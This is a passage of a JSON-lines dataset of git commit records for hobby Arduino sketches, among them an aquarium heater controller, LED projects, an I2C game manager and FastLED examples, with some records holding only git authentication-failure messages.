CLK0\n\tsi.clk_enable(CLK0);\t\t\t\t\t\t\t\t\t\t\t\t\/\/ enable CLK0 output\n\n\tuint32_t timer_start, timer_stop;\n\tuint32_t i;\n\n\tSerial.println();\n\tSerial.println(\"Performing 10000 iterations of set_frequency()\");\n\n\ttimer_start = micros();\n\tfor(i=0;i<10000;i++)\n\t\tsi.set_frequency(CLK0,14285000+i);\n\ttimer_stop = micros();\n\n\tSerial.print(\"Duration: \");\n\tSerial.print(timer_stop - timer_start);\n\tSerial.println(\" us\");\n\tSerial.print(\"Average per call: \");\n\tSerial.print((float)(timer_stop - timer_start)\/10000);\n\tSerial.println(\" us\");\n\n\tSerial.println();\n\tSerial.println(\"Performing 10000 iterations of simple_set_frequency()\");\n\n\ttimer_start = micros();\n\tfor(i=0;i<10000;i++)\n\t\tsi.simple_set_frequency(CLK0,14285000+i);\n\ttimer_stop = micros();\n\n\tSerial.print(\"Duration: \");\n\tSerial.print(timer_stop - timer_start);\n\tSerial.println(\" us\");\n\tSerial.print(\"Average per call: \");\n\tSerial.print((float)(timer_stop - timer_start)\/10000);\n\tSerial.println(\" us\");\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/si5351-speedtest\/si5351-speedtest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f8b98b2469952becdd49a8c76198c9f1bf2157ee","subject":"skp 08","message":"skp 08\n","repos":"toto-castaldi\/my-arduino-sketchbook-folder,toto-castaldi\/my-arduino-sketchbook-folder","old_file":"starter_kit_project_08\/starter_kit_project_08.ino","new_file":"starter_kit_project_08\/starter_kit_project_08.ino","new_contents":"const int switchPin = 8;\nunsigned long previousTime = 0;\nint led = 2;\nlong interval = 3000; \/\/3 secondi\n\nvoid setup() {\n for (int x = 2; x < 8; x++) {\n pinMode(x, OUTPUT);\n }\n pinMode(switchPin, INPUT);\n}\n\nvoid loop() {\n unsigned long currentTime = millis();\n \n \/\/solo se tengo premuto pulsante\n if (digitalRead(switchPin) == HIGH) {\n if (currentTime - previousTime > interval) {\n previousTime = currentTime;\n digitalWrite(led, HIGH);\n led ++;\n if (led == 8) {\n \/\/clessidra FINITA. Lampeggio\n for (int y = 1; y < 4; y++) {\n for (int x = 2; x < 8; x++) {\n digitalWrite(x, HIGH);\n }\n delay(1000);\n for (int x = 2; x < 8; x++) {\n digitalWrite(x, LOW);\n }\n delay(1000);\n }\n led = 2;\n previousTime = currentTime;\n }\n }\n } else {\n \/\/spengo tutto\n for (int x = 2; x < 8; x++) {\n digitalWrite(x, LOW);\n }\n led = 2;\n previousTime = currentTime;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'starter_kit_project_08\/starter_kit_project_08.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e591fc0ea01c9ccfe92cabec7dbaf6d18e8597ab","subject":"fix bug in watchlights() time comparison","message":"fix bug in watchlights() time comparison\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6402ee5ac2acf79ac1c9704beca53b8df3113a33","subject":"JL & LG: Adding the main aquario.ino file","message":"JL & LG: Adding the main aquario.ino file","repos":"trc-codes\/aquario,trc-codes\/aquario,trc-codes\/aquario","old_file":"Aquario.ino","new_file":"Aquario.ino","new_contents":"\/\/ Aquario\n\/\/ DS3231 Library Copyright (C)2015 Rinky-Dink Electronics, Henning Karlsen. All right reserved\n\/\/ web: http:\/\/www.RinkyDinkElectronics.com\/\n\n#include <DallasTemperature.h>\n#include <OneWire.h>\n#include <DS3231.h>\n\n\/\/ Init the DS3231 using the hardware interface\nDS3231 rtc(SDA, SCL);\n\n\/\/ Define OneWire pin\n#define ONE_WIRE_BUS 8\n\n\/\/ Init OneWire\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass OneWire to DallasTemp\nDallasTemperature sensors(&oneWire);\n\n\/\/ arrays to hold device addresses\nDeviceAddress insideThermometer, outsideThermometer;\n\n\/\/ Init a Time-data structure\nTime t;\n\n\/\/ Define Relay Digital I\/O pin number\n#define RELAY_ON 1\n#define RELAY_OFF 0\n\n#define Relay_1 2 \n#define Relay_2 3\n#define Relay_3 4\n#define Relay_4 5\n\n\/\/ set temp\nfloat temp = 30;\n\n\/\/ set upper temp variance\nfloat upperTempVariance = 2;\n\n\/\/ set lower temp variance\nfloat lowerTempVariance = 5;\n\nint waittime; \/\/ Delay between changes\n\nvoid tempSensorsSetup() {\n \/\/ Start up the DallasTemp library\n sensors.begin();\n\n if (!sensors.getAddress(insideThermometer, 0)) Serial.println(\"Unable to find address for Device 0\"); \n if (!sensors.getAddress(outsideThermometer, 1)) Serial.println(\"Unable to find address for Device 1\");\n}\n\nfloat getSetTemp() {\n return temp;\n}\n\nvoid setSetTemp(float temp) {\n temp = temp;\n}\n\nfloat getUpperTempVariance() {\n return upperTempVariance;\n}\n\nvoid setUpperTempVariance(float upperTempVariance) {\n upperTempVariance = upperTempVariance;\n}\n\nfloat getLowerTempVariance() {\n return lowerTempVariance;\n}\n\nvoid setLowerTempVariance(float lowerTempVariance) {\n lowerTempVariance = lowerTempVariance;\n}\n\n\/\/ declare upperTempLimit and lowerTempLimit\nfloat upperTempLimit = getSetTemp() + getUpperTempVariance();\nfloat lowerTempLimit = getSetTemp() - getLowerTempVariance();\n\nvoid setup() {\n \/\/ Setup Serial connection\n Serial.begin(9600);\n\n \/\/ Initialize the rtc object\n rtc.begin();\n \n \/\/ The following lines can be uncommented to set the date and time\n \/\/rtc.setDOW(WEDNESDAY); \/\/ Set Day-of-Week to SUNDAY\n rtc.setTime(10, 0, 0); \/\/ Set the time to 12:00:00 (24hr format)\n \/\/rtc.setDate(1, 1, 2014); \/\/ Set the date to January 1st, 2014\n\n waittime = 100;\n\/\/-------( Initialize Pins so relays are inactive at reset)----\n digitalWrite(Relay_1, RELAY_OFF);\n digitalWrite(Relay_2, RELAY_OFF);\n digitalWrite(Relay_3, RELAY_OFF);\n digitalWrite(Relay_4, RELAY_OFF); \n \n \n\/\/set digital pins as outputs\n pinMode(Relay_1, OUTPUT); \n pinMode(Relay_2, OUTPUT); \n pinMode(Relay_3, OUTPUT); \n pinMode(Relay_4, OUTPUT); \n delay(4000); \/\/Check that all relays are inactive at \n\n \/\/ temp setup\n tempSensorsSetup();\n}\n\nvoid loop() {\n \/\/ Get data from the DS3231\n t = rtc.getTime();\n \n \/* \/\/ Send date over serial connection\n Serial.print(\"Today is the \");\n Serial.print(t.date, DEC);\n Serial.print(\". day of \");\n Serial.print(rtc.getMonthStr());\n Serial.print(\" in the year \");\n Serial.print(t.year, DEC);\n Serial.println(\".\");\n \n \/\/ Send Day-of-Week and time\n Serial.print(\"It is the \");\n Serial.print(t.dow, DEC);\n Serial.print(\". day of the week (counting monday as the 1th), and it has passed \");\n Serial.print(t.hour, DEC);\n Serial.print(\" hour(s), \");\n Serial.print(t.min, DEC);\n Serial.print(\" minute(s) and \");\n Serial.print(t.sec, DEC);\n Serial.println(\" second(s) since midnight.\");\n\n \/\/ Send a divider for readability\n Serial.println(\" - - - - - - - - - - - - - - - - - - - - -\");*\/\n\n\/\/ \/\/ Send Day-of-Week\n\/\/ Serial.print(rtc.getDOWStr());\n\/\/ Serial.print(\" \");\n\/\/ \n\/\/ \/\/ Send date\n\/\/ Serial.print(rtc.getDateStr());\n\/\/ Serial.print(\" -- \");\n\/\/\n\/\/ \/\/ Send time\n\/\/ Serial.println(rtc.getTimeStr());\n\/\/ \n\/\/if(t.hour == 10 && t.min == 00 && t.sec == 15) {\n\/\/ turnRelayOnAndOff(Relay_1);\n\/\/}\n\/\/\n\/\/if(t.hour == 10 && t.min == 00 && t.sec == 30) {\n\/\/ turnRelayOnAndOff(Relay_2);\n\/\/}\n\/\/\n\/\/if(t.hour == 10 && t.min == 00 && t.sec == 45) {\n\/\/ turnRelayOnAndOff(Relay_3);\n\/\/}\n\/\/\n\/\/if(t.hour == 10 && t.min == 01 && t.sec == 00) {\n\/\/ turnRelayOnAndOff(Relay_4);\n\/\/}\n\n \/\/ Wait one second before repeating :)\n delay (1000);\n\n \/\/ Method 1:\n \/\/ check each address individually for an alarm condition\n checkTemp(insideThermometer);\n \n}\n\nvoid checkTemp(DeviceAddress deviceAddress) {\n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n Serial.println(sensors.getTempCByIndex(0));\n if (sensors.getTempCByIndex(0) >= upperTempLimit) {\n Serial.print(\"ALARM!! turning relay off: \");\n turnRelayOff(Relay_1, \"Heater relay\");\n } else if (sensors.getTempCByIndex(0) <= lowerTempLimit) {\n Serial.print(\"ALARM!! turning relay on: \");\n turnRelayOn(Relay_1, \"Heater relay\");\n }\n}\n\nvoid turnRelayOn(int relay_num, String relay_name) {\n Serial.print(relay_name + \" ON\");\n Serial.println(\"\");\n digitalWrite(relay_num, RELAY_ON);\/\/ set the Relay ON\n}\n\nvoid turnRelayOff(int relay_num, String relay_name) {\n digitalWrite(relay_num, RELAY_OFF);\/\/ set the Relay OFF\n Serial.print(relay_name + \" OFF\");\n Serial.println(\"\");\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Aquario.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b27b1ea8a49eb0ec46fbbbacc449a46f5241a83b","subject":"Add Send Values example","message":"Add Send Values example\n","repos":"theThings\/arduino-examples,gamousques\/arduino-examples,theThings\/thethingsio-arduino-library,theThings\/arduino-examples,gamousques\/arduino-examples,theThings\/thethingsio-arduino-library,theThings\/thethingsio-arduino-library,theThings\/arduino-examples","old_file":"examples\/SendValues\/SendValues.ino","new_file":"examples\/SendValues\/SendValues.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <TheThings.h>\n\n#define TOKEN \"your token here\"\n\nTheThings thing(TOKEN);\n\nvoid setup() {\n \/\/ Start Serial for debugging on the Serial Monitor\n Serial.begin(9600);\n\n \/\/ Start Ethernet on Arduino\n startEthernet();\n}\n\nvoid loop() {\n Ethernet.maintain();\n\n delay(1000);\n thing.addValue(\"A0\", \"ON\");\n thing.send();\n delay(1000);\n thing.addValue(\"A0\", \"OFF\");\n thing.send();\n}\n\nvoid startEthernet() {\n Serial.println(\"Connecting Arduino to network...\");\n\n \/\/ Local Network Settings\n byte mac[] = { 0xD4, 0x28, 0xB2, 0xFF, 0xA0, 0xA1 }; \/\/ Must be unique on local network\n\n \/\/ Connect to network amd obtain an IP address using DHCP\n while (Ethernet.begin(mac) == 0)\n Serial.println(\"DHCP Failed, retrying\");\n Serial.println(\"Arduino connected to network using DHCP\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SendValues\/SendValues.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8358c5113ffe023a5652fef2f9aee9646cec701f","subject":"Added a timer that should prevent the compressor starting within 5 mins from last shutdown","message":"Added a timer that should prevent the compressor starting within\n5 mins from last shutdown\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"4zones\/wbox-2.0.ino","new_file":"4zones\/wbox-2.0.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"62ab913a729729a21f316868e0ce0b9202291a5e","subject":"Added a simple spi_in example for future ref","message":"Added a simple spi_in example for future ref\n","repos":"bananu7\/Arduino,bananu7\/Arduino,bananu7\/Arduino,bananu7\/Arduino,bananu7\/Arduino","old_file":"spi_in\/spi_in\/spi_in.ino","new_file":"spi_in\/spi_in\/spi_in.ino","new_contents":"#include <SPI.h>\n\n\/\/\/\/Pin connected to DS of 74HC595\nconst int dataPin = 12;\nconst int clockPin = 13;\nconst int latchPin = 10;\n\nbyte stat;\nbyte stat2;\n\nbyte shiftInSPI() {\n SPI.begin();\n \/\/set clockDivider to SPI_CLOCK_DIV2 by default which is 8MHz\n const int clockDivider = SPI_CLOCK_DIV8;\n SPI.setClockDivider(clockDivider);\n \n \/\/set data mode to SPI_MODE0 by default\n const int dataMode = SPI_MODE0;\n SPI.setDataMode(dataMode);\n \n \/\/set bitOrder to MSBFIRST by default\n const int bitOrder = MSBFIRST; \n SPI.setBitOrder(bitOrder);\n\n byte input = SPI.transfer(0x00);\n\n SPI.end();\n\n return input;\n}\n\nbyte shiftIn() {\n digitalWrite(latchPin, LOW); \/\/ Switch to parallel mode: digital inputs are read into shift register\n delayMicroseconds(10);\n digitalWrite(latchPin, HIGH); \/\/ Switch to serial mode: one data bit is output on each clock falling edge\n\n byte result;\n\n for(int i = 0; i < 8; ++i) { \/\/ Iteration over both 8 bit registers\n digitalWrite(clockPin, LOW); \/\/ Generate clock falling edge\n delayMicroseconds(10);\n\n int r = digitalRead(dataPin);\n if (r) result |= (1 << i);\n digitalWrite(clockPin, HIGH); \/\/ Generate clock rising edge\n delayMicroseconds(10);\n }\n\n for(int i = 0; i < 8; ++i) { \/\/ Iteration over both 8 bit registers\n digitalWrite(clockPin, LOW); \/\/ Generate clock falling edge\n delayMicroseconds(10);\n\n int r = digitalRead(dataPin);\n if (r) result |= (1 << i);\n digitalWrite(clockPin, HIGH); \/\/ Generate clock rising edge\n delayMicroseconds(10);\n }\n return result;\n}\n\nvoid setup() {\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, INPUT);\n\n stat = 0;\n stat2 = 0;\n \n Serial.begin(9600);\n}\n\nvoid loop() {\n digitalWrite(latchPin, LOW);\n delayMicroseconds(10);\n digitalWrite(latchPin, HIGH);\n delayMicroseconds(10);\n\n digitalWrite(latchPin, LOW); \/\/ Switch to parallel mode: digital inputs are read into shift register\n delayMicroseconds(10);\n digitalWrite(latchPin, HIGH);\n stat = shiftInSPI();\n stat |= shiftInSPI();\n\n \/\/stat = shiftIn();\n \/\/stat2 = shiftIn();\n\n if (stat != 0) {\n Serial.println(stat);\n }\n \/*(if (stat2 != 0) {\n Serial.println(stat2);\n }*\/\n \n delay(100);\n \/\/Serial.print('x');\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spi_in\/spi_in\/spi_in.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f790f8a40804ccfc43a08da8edd923ed866676f","subject":"Added ColorTemperature example demo","message":"Added ColorTemperature example demo\n","repos":"kcouck\/FastLED,tullo-x86\/FastLED,MattDurr\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,FastLED\/FastLED,eshkrab\/FastLED-esp32,NicoHood\/FastLED,felixLam\/FastLED,ryankenney\/FastLED,felixLam\/FastLED,remspoor\/FastLED,neographophobic\/FastLED,PaulStoffregen\/FastLED,neographophobic\/FastLED,liyanage\/FastLED,eshkrab\/FastLED-esp32,kcouck\/FastLED,wsilverio\/FastLED,PaulStoffregen\/FastLED,remspoor\/FastLED,tullo-x86\/FastLED,NicoHood\/FastLED,MattDurr\/FastLED,MiketheChap\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,FastLED\/FastLED,wilhelmryan\/FastLED,liyanage\/FastLED,PaulStoffregen\/FastLED,ryankenney\/FastLED,yaneexy\/FastLED,wilhelmryan\/FastLED,yaneexy\/FastLED,wsilverio\/FastLED,MiketheChap\/FastLED","old_file":"examples\/ColorTemperature\/ColorTemperature.ino","new_file":"examples\/ColorTemperature\/ColorTemperature.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 3\n\n\/\/ Information about the LED strip itself\n#define NUM_LEDS 60\n#define CHIPSET WS2811\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n\n#define BRIGHTNESS 128\n\n\n\/\/ FastLED v2.1 provides two color-management controls:\n\/\/ (1) color correction settings for each LED strip, and\n\/\/ (2) master control of the overall output 'color temperature' \n\/\/\n\/\/ THIS EXAMPLE demonstrates the second, \"color temperature\" control.\n\/\/ It shows a simple rainbow animation first with one temperature profile,\n\/\/ and a few seconds later, with a different temperature profile.\n\/\/\n\/\/ The first pixel of the strip will show the color temperature.\n\/\/\n\/\/ HELPFUL HINTS for \"seeing\" the effect in this demo:\n\/\/ * Don't look directly at the LED pixels. Shine the LEDs aganst\n\/\/ a white wall, table, or piece of paper, and look at the reflected light.\n\/\/\n\/\/ * If you watch it for a bit, and then walk away, and then come back \n\/\/ to it, you'll probably be able to \"see\" whether it's currently using\n\/\/ the 'redder' or the 'bluer' temperature profile, even not counting\n\/\/ the lowest 'indicator' pixel.\n\/\/\n\/\/\n\/\/ FastLED provides these pre-conigured incandescent color profiles:\n\/\/ Candle, Tungsten40W, Tungsten100W, Halogen, CarbonArc,\n\/\/ HighNoonSun, DirectSunlight, OvercastSky, ClearBlueSky,\n\/\/ FastLED provides these pre-configured gaseous-light color profiles:\n\/\/ WarmFluorescent, StandardFluorescent, CoolWhiteFluorescent,\n\/\/ FullSpectrumFluorescent, GrowLightFluorescent, BlackLightFluorescent,\n\/\/ MercuryVapor, SodiumVapor, MetalHalide, HighPressureSodium,\n\/\/ FastLED also provides an \"Uncorrected temperature\" profile\n\/\/ UncorrectedTemperature;\n\n#define TEMPERATURE_1 Tungsten100W\n#define TEMPERATURE_2 OvercastSky\n\n\/\/ How many seconds to show each temperature before switching\n#define DISPLAYTIME 20\n\/\/ How many seconds to show black between switches\n#define BLACKTIME 3\n\nvoid loop()\n{\n \/\/ draw a generic, no-name rainbow\n static uint8_t starthue = 0;\n fill_rainbow( leds + 5, NUM_LEDS - 5, --starthue, 20);\n\n \/\/ Choose which 'color temperature' profile to enable.\n uint8_t secs = (millis() \/ 1000) % (DISPLAYTIME * 2);\n if( secs < DISPLAYTIME) {\n FastLED.setTemperature( TEMPERATURE_1 ); \/\/ first temperature\n leds[0] = TEMPERATURE_1; \/\/ show indicator pixel\n } else {\n FastLED.setTemperature( TEMPERATURE_2 ); \/\/ second temperature\n leds[0] = TEMPERATURE_2; \/\/ show indicator pixel\n }\n\n \/\/ Black out the LEDs for a few secnds between color changes\n \/\/ to let the eyes and brains adjust\n if( (secs % DISPLAYTIME) < BLACKTIME) {\n memset8( leds, 0, NUM_LEDS * sizeof(CRGB));\n }\n \n FastLED.show();\n FastLED.delay(8);\n}\n\nvoid setup() {\n delay( 3000 ); \/\/ power-up safety delay\n \/\/ It's important to set the color correction for your LED strip here,\n \/\/ so that colors can be more accurately rendered through the 'temperature' profiles\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalSMD5050 );\n FastLED.setBrightness( BRIGHTNESS );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ColorTemperature\/ColorTemperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9749b7832322aa3b8d9c2970163abeece2b8c150","subject":"Added files via upload","message":"Added files via upload","repos":"kolsan\/StarWarsCarnival","old_file":"006Manager\/Manager.ino","new_file":"006Manager\/Manager.ino","new_contents":"\/\/Comunicacion i2c\n\/\/1-manager\n\/\/2 diana inferior izqda 3 diana inferior central 4 diana inferior dcha\n\/\/5 diana superior medio 6 diana superior alta\n\n#include <Wire.h>\n\nString inSerial;\nconst int buttonPinStop = 2;\nconst int buttonPinStart = 3;\nconst int ledPin = 13; \/\/ the number of the LED pin\nint buttonState = 0;\nint inByte;\nchar MessageReceived;\nint Shoots = 0;\nString texto;\nString SerialString;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n\n pinMode(ledPin, OUTPUT);\n pinMode(buttonPinStop, INPUT);\n pinMode(buttonPinStart, INPUT);\n Wire.begin(1); \/\/ join i2c bus (address optional for master)\n Wire.onReceive(receiveEvent); \/\/ register event\n \n}\n\n\n\n\n\nvoid loop() {\n\n\n\n\n\n buttonState = digitalRead(buttonPinStart);\n\n if (buttonState == HIGH) {\n \/\/ turn LED on:\n digitalWrite(ledPin, HIGH);\n\n \/\/ Now listen on the second port\n\n Serial.println(\"Comienza Partida\");\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"go\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"go\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"go\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"go\");\n Wire.endTransmission();\n \n Wire.beginTransmission(6);\n Wire.write(\"go\");\n Wire.endTransmission();\n delay (500);\n\n }\n else {\n \/\/ turn LED off:\n digitalWrite(ledPin, LOW);\n }\n\n buttonState = digitalRead(buttonPinStop);\n\n if (buttonState == HIGH) {\n \/\/ turn LED on:\n digitalWrite(ledPin, HIGH);\n\n Wire.beginTransmission(2);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(3);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"end\");\n Wire.endTransmission();\n delay (500);\n Shoots = 0;\n\n \n\n }\n else {\n \/\/ turn LED off:\n digitalWrite(ledPin, LOW);\n }\n\n\n if (texto != \"\")\n {\n Serial.println (texto);\n texto = \"\";\n\n\n }\n\n getSerialData ();\n WorkWithReceivedData ();\n\n SerialString = \"\";\n\n \/\/ int x = Wire.read(); \/\/ receive byte as an integer\n \/\/ Serial.println(x); \/\/ print the integer\n\n}\n\nvoid receiveEvent(int howMany) {\n while ( Wire.available()) { \/\/ loop through all but the last\n char c = Wire.read(); \/\/ receive byte as a character\n texto = texto + c;\n \/\/Serial.print(c); \/\/ print the character\n\n }\n\n}\n\nvoid getSerialData ()\n{\n\n\n while (Serial.available())\n {\n delay(3); \/\/delay to allow buffer to fill\n\n if (Serial.available() > 0) {\n char c = Serial.read(); \/\/gets one byte from serial buffer\n \/\/Serial.print (c); \/\/makes the string readString\n SerialString += c;\n\n }\n\n }\n \n}\nvoid WorkWithReceivedData ()\n{\n\n if ((SerialString[0] == '1'))\n {\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"go\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"go\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"go\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"go\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"go\");\n Wire.endTransmission();\n delay (500);\n }\n if ((SerialString[0] == '2'))\n {\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"end\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"end\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"end\");\n Wire.endTransmission();\n delay (500);\n }\n if ((SerialString[0] == '3'))\n {\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"gup\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"gup\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"gup\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"gup\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"gup\");\n Wire.endTransmission();\n delay (500);\n }\n if ((SerialString[0] == '4'))\n {\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"gdo\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"gdo\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"gdo\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"gdo\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"gdo\");\n Wire.endTransmission();\n delay (500);\n }\n if ((SerialString[0] == '5'))\n {\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"gme\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"gme\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"gme\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"gme\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"gme\");\n Wire.endTransmission();\n delay (500);\n }\n if ((SerialString[0] == '6'))\n {\n Wire.beginTransmission(2); \/\/ transmit to device #0 means broadcast\n Wire.write(\"rst\");\n Wire.endTransmission(); \/\/ stop transmitting\n\n Wire.beginTransmission(3);\n Wire.write(\"rst\");\n Wire.endTransmission();\n\n Wire.beginTransmission(4);\n Wire.write(\"rst\");\n Wire.endTransmission();\n\n Wire.beginTransmission(5);\n Wire.write(\"rst\");\n Wire.endTransmission();\n\n Wire.beginTransmission(6);\n Wire.write(\"rst\");\n Wire.endTransmission();\n delay (500);\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '006Manager\/Manager.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"003311d98f697d2ad7a54c018b52246adc031216","subject":"better command parsing","message":"better command parsing\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f2af2b6310aa60b3e89037d7ce84d33c9930bd87","subject":"BME280 raw & compensated ADC values are good","message":"BME280 raw & compensated ADC values are good\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"89c9a44aff15494fd733062add6ad4243627066d","subject":"ready for tmr leaderboard","message":"ready for tmr leaderboard\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2966720d4c16d1a6ec886ace10be1113c22d9648","subject":"tests: add basic peripherals sketch","message":"tests: add basic peripherals sketch\n","repos":"PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware","old_file":"tests\/resources\/test_sketches\/basic_peripherals.ino","new_file":"tests\/resources\/test_sketches\/basic_peripherals.ino","new_contents":"void setup() {\n Serial.begin(57600);\n}\n\nvoid loop() {\n Bean.getAcceleration();\n Bean.setLed(0, 255, 255);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/resources\/test_sketches\/basic_peripherals.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d501256943e077317e41f9daa59d12379575c3fd","subject":"Add Serial1 example","message":"Add Serial1 example\n","repos":"neojou\/arduino-ameba,neojou\/arduino-ameba,neojou\/arduino-ameba","old_file":"example\/serial1\/serial1.ino","new_file":"example\/serial1\/serial1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/neojou\/arduino-ameba.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4dc1917dbf3f61d89c3df10ef516bf5fe1f44cf4","subject":"ESP8266 Blink example for the blue LED on the ESP-01 module","message":"ESP8266 Blink example for the blue LED on the ESP-01 